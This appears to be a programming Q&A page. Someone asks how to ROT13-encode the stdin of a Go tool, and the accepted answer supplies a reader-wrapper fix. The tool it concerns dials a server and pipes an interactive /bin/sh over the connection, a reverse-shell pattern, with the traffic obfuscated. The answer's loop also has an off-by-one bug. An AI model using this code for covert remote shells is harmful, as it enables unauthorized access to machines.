Search code examples
goiobyteinteractive-shell

How to capture the bytes of stdin


The goal: I want to capture all the bytes of cmd.Stdin and process them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT

The story: I'm coding a small tool which will be cross compiled for both win/ linux, so I'm trying to make it as simple as possible. This tool connects to the server from which I can execute commands on the client.

Since I had to do the same thing for cmd.Stdout, I used this:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 
//***shell***, and not just a simple command
                                        
cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // works fine
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....

Where OBFprocessStream function is based on this one: https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .

So, I tried to replicate the same thing for cmd.Stdin:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") 
                                        
cmdStdin, err := cmd.StdinPipe() 
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }

.....
err = INOBFprocessStream(cmdStdin, conn)
....

.....
err = OBFprocessStream(cmdStdout, conn)
....

But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do to capture the bytes sEGIHOsegoihszrhoiò

Can you please help me?


Solution

  • So it seems what you actually want is to read the data from conn, filter it with ROT13 and then pass it to cmd.Stdin (which accepts an io.Reader).

    And your rot13Reader is already implementing io.Reader:

    type rot13Reader struct {
        r io.Reader
    }
    
    func (r13 *rot13Reader) Read(b []byte) (int, error) {
        n, err := r13.r.Read(b)
        for i := 0; i <= n; i++ {
            b[i] = rot13(b[i])
        }
        return n, err
    }
    

    So a quick solution can be to construct a small filter chain out of it like so:

        cmd.Stdin = &rot13Reader{conn}